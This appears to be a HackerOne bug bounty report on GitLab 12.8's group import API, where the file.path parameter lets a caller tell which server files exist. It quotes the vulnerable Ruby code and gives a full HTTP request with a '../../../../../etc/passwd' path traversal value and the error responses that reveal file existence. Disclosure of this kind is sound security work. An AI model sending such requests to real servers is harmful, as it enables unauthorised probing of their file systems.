File enum-ing on local/Remote Object Storage by using group import API
HackerOne report #848415 by ledz1996
on 2020-04-13, assigned to @cmaxim:
Summary
The group import API does not validate the file
param, We could skip the param and add optional param like file.path
file.remote_id
lib/api/group_import.rb
desc 'Create a new group import' do
detail 'This feature was introduced in GitLab 12.8'
success Entities::Group
end
params do
requires :path, type: String, desc: 'Group path'
requires :name, type: String, desc: 'Group name'
optional :parent_id, type: Integer, desc: "The ID of the parent group that the group will be imported into. Defaults to the current user's namespace."
optional 'file.path', type: String, desc: 'Path to locally stored body (generated by Workhorse)'
optional 'file.name', type: String, desc: 'Real filename as send in Content-Disposition (generated by Workhorse)'
optional 'file.type', type: String, desc: 'Real content type as send in Content-Type (generated by Workhorse)'
optional 'file.size', type: Integer, desc: 'Real size of file (generated by Workhorse)'
optional 'file.md5', type: String, desc: 'MD5 checksum of the file (generated by Workhorse)'
optional 'file.sha1', type: String, desc: 'SHA1 checksum of the file (generated by Workhorse)'
optional 'file.sha256', type: String, desc: 'SHA256 checksum of the file (generated by Workhorse)'
end
post 'import' do
authorize_create_group!
require_gitlab_workhorse!
uploaded_file = UploadedFile.from_params(params, :file, ImportExportUploader.workhorse_local_upload_path)
bad_request!('Unable to process group import file') unless uploaded_file
group_params = {
path: params[:path],
name: params[:name],
parent_id: params[:parent_id],
visibility_level: closest_allowed_visibility_level,
import_export_upload: ImportExportUpload.new(import_file: uploaded_file)
}
If we specify file.path
, we would attempt to search in local file for making the importation.
lib/uploaded_file.rb
def self.from_params(params, field, upload_paths)
path = params["#{field}.path"]
remote_id = params["#{field}.remote_id"]
return if path.blank? && remote_id.blank?
file_path = nil
if path
file_path = File.realpath(path)
paths = Array(upload_paths) << Dir.tmpdir
unless self.allowed_path?(file_path, paths.compact)
raise InvalidPathError, "insecure path used '#{file_path}'"
end
end
UploadedFile.new(file_path,
filename: params["#{field}.name"],
content_type: params["#{field}.type"] || 'application/octet-stream',
sha256: params["#{field}.sha256"],
remote_id: remote_id,
size: params["#{field}.size"])
end
in the allowed_path?
function, gitlab call exists?
first to check whether the file exists or it, because of this we could use to enum files around the system
def self.allowed_path?(file_path, paths)
paths.any? do |path|
File.exist?(path) && file_path.start_with?(File.realpath(path))
end
end
Sample Request:
POST /api/v4/groups/import HTTP/1.1
Host: gitlab.example.vm
User-Agent: curl/7.55.1
Accept: */*
PRIVATE-TOKEN: 8ZCeRk1-DZS1GegcVr-P
Content-Length: 577
Content-Type: multipart/form-data; boundary=------------------------b4ccee868e1339da
Connection: close
--------------------------b4ccee868e1339da
Content-Disposition: form-data; name="name"
imporwdqted-group
--------------------------b4ccee868e1339da
Content-Disposition: form-data; name="file.path"
../../../../../etc/passwd
--------------------------b4ccee868e1339da
Content-Disposition: form-data; name="file.size"
40
--------------------------b4ccee868e1339da
Content-Disposition: form-data; name="file"
40c
--------------------------b4ccee868e1339da
Content-Disposition: form-data; name="path"
importsssed44d3-gqqroup
--------------------------b4ccee868e1339da--
If the file does exists, the error returned would be "insecure path used!", if it isn't then it should be "500 Internal Error"
/etc/passwd
attempt
file4.PNG
/etc/passwdee
- non exists attempt
file3.PNG
Also due to the check of Dir.tmpdir
the folder /tmp
is allowed, I may leverage this to further exploitation
Remote Object Storage
If you specify the file.remote_id
params, it will attempt to make connection to the remote object storage with the file key equals to the value of the params.
Steps to reproduce
- Create a User
- Create an API TOKEN
- Follow the sample request
Impact
System file enums, possible files in /tmp disclose
Output of checks
This bug also happen on Gitlab.com
Results of GitLab environment info
System information
System: Ubuntu 16.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.5p114
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.7
Git Version: 2.24.1
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 12.8.6-ee
Revision: 5b0bcf2717b
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 10.12
URL: http://gitlab.example.vm
HTTP Clone URL: http://gitlab.example.vm/some-group/some-project.git
SSH Clone URL: git@gitlab.example.vm:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 11.0.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
System file enums, possible files in /tmp disclose
Attachments
Warning: Attachments received through HackerOne, please exercise caution!